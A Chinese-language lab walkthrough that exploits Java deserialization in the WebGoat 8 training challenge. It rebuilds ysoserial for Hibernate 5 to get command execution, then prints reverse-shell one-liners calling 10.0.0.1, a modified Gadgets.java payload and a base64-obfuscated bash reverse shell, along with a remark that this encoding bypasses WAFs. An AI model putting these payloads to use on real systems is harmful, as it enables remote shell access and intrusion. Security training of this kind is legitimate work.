导语:在本文中,我们将向你展示一个利用不安全的反序列化漏洞的过程,我们将以WebGoat 8反序列化挑战(部署在Docker上)为例。只需执行sleep5秒即可解决挑战。但是,我们将会进一步寻求乐趣并尝试get shell。
在本文中,我们将向你展示一个利用不安全的反序列化漏洞的过程,我们将以WebGoat 8反序列化挑战(部署在Docker上)为例。只需执行sleep5秒即可解决挑战。但是,我们将会进一步寻求乐趣并尝试get shell。
介绍
Java的反序列化问题在安全领域已经被安全人员所熟知很多年了。2015年,两名安全研究人员Chris Frohoff和Gabriel Lawrence在AppSecCali上发表了名为Marshalling Pickles 的演讲。此外,他们还发布了一个名为ysoserial的有效载荷生成器的工具。
对象序列化主要是为了开发人员能够将内存中的对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。
漏洞发现
正如WebGoat的挑战中所提到的,易受攻击的页面会从用户输入中获取Base64格式的序列化Java对象,并盲目的进行反序列化。我们将通过提供一个序列化对象来利用此漏洞,该对象触发面向属性的编程链(POP链)并在反序列化期间实现远程命令执行。
WebGoat 8中的不安全的反序列化挑战
通过启动Burp并安装Java-Deserialization-Scanner插件。该插件有2个功能:第一个功能是漏洞扫描,另一个功能是基于ysoserial工具生成Exp。
Burp Suite的Java反序列化扫描程序插件
扫描远程端点后,Burp插件报告结果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起来很棒!
漏洞利用
让我们转到下一步并点击Exploiting选项卡来实现任意命令执行。
嗯?这似乎是ysoserial的一个Bug。让我们深入研究一下这个bug并转移到控制台,看看究竟是什么问题。
有效载荷生成错误
通过观察ysoserial,我们看到有两种不同的可用于Hibernate的POP链。通过使用这些有效载荷,我们发现它们都没有在目标系统上执行。
ysoserial中显示的可用的有效载荷
那么插件是如何生成有效载荷并触发sleep命令的呢?
我们决定在以下链接中查看插件的源代码:
· federicodotta / Java-Deserialization-Scanner
· 针对Burp Suite的一体化插件,用于检测和利用Java反序列化漏洞…
我们注意到有效载荷在插件的源代码中是硬编码的,因此我们需要找到一种方法来生成相同的有效载荷来使其能够触发漏洞利用。
有效载荷是硬编码的
在经过一些研究和帮助后,我们发现我们需要修改当前版本的ysoserial才能使我们的有效载荷起作用。
我们下载了ysoserial的源代码并决定使用Hibernate 5重新编译它。为了使用Hibernate 5成功构建ysoserial,我们需要将javax.el包添加到pom.xml文件中。
我们还向原始项目发送了一个Pull请求,目的是在hibernate5选择配置文件时修复构建的一个问题。
更新了pom.xml
我们可以使用以下命令继续重建ysoserial :
mvn clean package -DskipTests -Dhibernate5
然后我们就可以生成有效载荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0
生效了的Hibernate 5的有效载荷
我们可以通过下面的命令访问Docker容器来验证我们的命令是否执行了:
docker exec -it <CONTAINER_ID> /bin/bash
我们可以看到我们的有效载荷在机器上确实执行成功了!
漏洞利用成功!
我们继续列举目标机器上的二进制文件。
[email protected]:/$ which php [email protected]:/$ which python [email protected]:/$ which python3 [email protected]:/$ which wget [email protected]:/$ which curl [email protected]:/$ which nc [email protected]:/$ which perl /usr/bin/perl [email protected]:/$ which bash /bin/bash [email protected]:/$
只有Perl和Bash可用。让我们尝试制作一个有效载荷,向我们发送一个反向的shell。
我们在Pentest Monkeys上看到一些单线的反向Shell:
· 如果你很幸运能够在渗透测试期间找到命令执行漏洞,那么很快就会…
并决定尝试下面的Bash反向shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但是,正如你可能想到的那样,java.lang.Runtime.exec()有一些局限性。不支持重定向或管道等shell运算符。
我们决定选择另一个方法,使用Java编写的反向shell 。我们将修改Gadgets.java上的源代码来生成反向shell有效载荷。
下面的路径是我们需要修改的路径:
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.
Pentest Monkeys上提到了下面的Java反向shell,但它仍然不起作用:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
在尝试了多次后,我们看到了下面的代码:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
让我们再次重建ysoserial并测试生成的有效载荷。
使用Bash反向shell生成武器化的有效载荷
而且..我们成功的弹回来一个反向Shell!
真棒!
有效载荷生成过程简述
在我们的研究过程中,我们发现了这个编码器( http://jackson.thuraisamy.me/runtime-exec-payloads.html),它可以帮助我们完成攻击。
使用下面的Bash反向shell:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
生成的有效载荷的结果如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
这个编码器也可用于绕过WAF!🚀
参考
· https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
· http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
· https://github.com/frohoff/ysoserial
· https://github.com/federicodotta/Java-Deserialization-Scanner